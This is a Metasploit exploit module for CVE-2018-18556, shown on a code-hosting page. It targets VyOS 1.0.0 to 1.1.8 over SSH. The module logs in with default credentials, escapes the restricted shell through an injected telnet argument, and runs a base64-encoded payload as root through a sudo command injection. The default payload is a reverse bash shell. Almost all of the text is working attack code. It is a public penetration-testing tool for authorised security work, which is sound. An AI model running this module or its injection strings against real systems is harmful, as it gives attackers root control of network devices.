CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ssh/vyos_restricted_shell_privesc.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = GreatRanking
11
12
include Msf::Exploit::Remote::SSH
13
include Msf::Auxiliary::Report
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'VyOS restricted-shell Escape and Privilege Escalation',
20
'Description' => %q{
21
This module exploits command injection vulnerabilities and an insecure
22
default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to execute
23
arbitrary system commands as root.
24
25
VyOS features a `restricted-shell` system shell intended for use by
26
low privilege users with operator privileges. This module exploits
27
a vulnerability in the `telnet` command to break out of the restricted
28
shell, then uses sudo to exploit a command injection vulnerability in
29
`/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands
30
with root privileges.
31
32
This module has been tested successfully on VyOS 1.1.8 amd64 and
33
VyOS 1.0.0 i386.
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Rich Mirch', # discovery and exploit
38
'bcoles' # metasploit
39
],
40
'References' => [
41
[ 'CVE', '2018-18556' ],
42
[ 'URL', 'https://blog.vyos.io/the-operator-level-is-proved-insecure-and-will-be-removed-in-the-next-releases' ],
43
[ 'URL', 'https://blog.mirch.io/2018/11/05/cve-2018-18556-vyos-privilege-escalation-via-sudo-pppd-for-operator-users/' ],
44
[ 'URL', 'https://github.com/mirchr/security-research/blob/master/vulnerabilities/VyOS/CVE-2018-18556.sh' ],
45
],
46
'Arch' => ARCH_CMD,
47
'DisclosureDate' => '2018-11-05',
48
'DefaultOptions' => {
49
'Payload' => 'cmd/unix/reverse_bash'
50
},
51
'DefaultTarget' => 0,
52
'Platform' => 'unix',
53
'Privileged' => true,
54
'Targets' => [
55
[
56
'Automatic', {}
57
]
58
],
59
'Notes' => {
60
'Stability' => [CRASH_SAFE],
61
'Reliability' => [REPEATABLE_SESSION],
62
'SideEffects' => []
63
}
64
)
65
)
66
67
register_options(
68
[
69
Opt::RPORT(22),
70
OptString.new('USERNAME', [true, 'SSH username', 'vyos']),
71
OptString.new('PASSWORD', [true, 'SSH password', 'vyos']),
72
]
73
)
74
75
register_advanced_options(
76
[
77
Opt::Proxies,
78
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
79
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 15]),
80
OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
81
]
82
)
83
end
84
85
def check
86
opts = ssh_client_defaults.merge({
87
auth_methods: ['password', 'keyboard-interactive'],
88
password: password,
89
port: rport
90
})
91
92
begin
93
ssh = nil
94
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
95
ssh = Net::SSH.start(rhost, username, opts)
96
end
97
rescue Rex::ConnectionError
98
return CheckCode::Safe
99
rescue Net::SSH::Disconnect, ::EOFError
100
return CheckCode::Safe
101
rescue Timeout::Error
102
return CheckCode::Safe
103
rescue Net::SSH::AuthenticationFailed
104
return CheckCode::Safe
105
rescue Net::SSH::Exception
106
return CheckCode::Safe
107
end
108
109
CheckCode::Detected('SSH service detected.')
110
end
111
112
def rhost
113
datastore['RHOST']
114
end
115
116
def rport
117
datastore['RPORT']
118
end
119
120
def username
121
datastore['USERNAME']
122
end
123
124
def password
125
datastore['PASSWORD']
126
end
127
128
def exploit
129
factory = ssh_socket_factory
130
131
opts = {
132
auth_methods: ['password', 'keyboard-interactive'],
133
port: rport,
134
use_agent: false,
135
config: false,
136
password: password,
137
proxy: factory,
138
non_interactive: true,
139
verify_host_key: :never
140
}
141
142
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
143
144
print_status("#{rhost}:#{rport} - Attempt to login to VyOS SSH ...")
145
146
begin
147
ssh = nil
148
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
149
ssh = Net::SSH.start(rhost, username, opts)
150
end
151
rescue Rex::ConnectionError
152
fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
153
rescue Net::SSH::Disconnect, ::EOFError
154
fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
155
rescue ::Timeout::Error
156
fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
157
rescue Net::SSH::AuthenticationFailed
158
fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
159
rescue Net::SSH::Exception => e
160
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
161
end
162
163
unless ssh
164
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Session couldn't be established")
165
end
166
167
print_good('SSH connection established')
168
169
ssh.open_channel do |channel|
170
print_status('Requesting PTY ...')
171
172
channel.request_pty do |ch, pty_success|
173
unless pty_success
174
fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not request PTY")
175
end
176
177
print_good('PTY successfully obtained')
178
179
print_status('Requesting shell ...')
180
181
ch.send_channel_request('shell') do |_ch, shell_success|
182
unless shell_success
183
fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not open shell")
184
end
185
186
print_good('Remote shell successfully obtained')
187
end
188
end
189
190
vyos_check_executed = false
191
expect_system_shell = false
192
payload_executed = false
193
194
payload_b64 = Rex::Text.encode_base64(payload.encoded)
195
payload_cmd = ''
196
197
channel.on_data do |_ch, data|
198
return nil if payload_executed
199
200
unless vyos_check_executed
201
unless data.downcase.include?('vyos')
202
fail_with(Failure::NotVulnerable, 'Remote system is not VyOS')
203
end
204
205
print_status('Remote system is VyOS')
206
vyos_check_executed = true
207
next
208
end
209
210
if !expect_system_shell && data.downcase.include?(username.downcase)
211
if data.include?('> ')
212
print_status('Remote session is using restricted-shell. Attempting breakout to system shell ...')
213
channel.send_data("telnet ';/bin/sh'\n")
214
payload_cmd = "sudo /opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl -action show-neighbor -i ';echo #{payload_b64}|base64 -d|/bin/sh'"
215
expect_system_shell = true
216
next
217
elsif data.include?('$ ')
218
print_status('Remote session is using unrestricted shell. Launching system shell ...')
219
channel.send_data("/bin/sh\n")
220
payload_cmd = "echo #{payload_b64}|base64 -d|sudo /bin/sh"
221
expect_system_shell = true
222
next
223
end
224
end
225
226
if expect_system_shell && data.include?('sh') && data.include?('$ ')
227
print_good('Unrestricted system shell successfully obtained. Sending payload ...')
228
vprint_status("Sending command: #{payload_cmd}")
229
channel.send_data("#{payload_cmd}\n")
230
payload_executed = true
231
end
232
end
233
end
234
235
begin
236
ssh.loop unless session_created?
237
rescue Errno::EBADF => e
238
elog(e)
239
end
240
end
241
end
242
243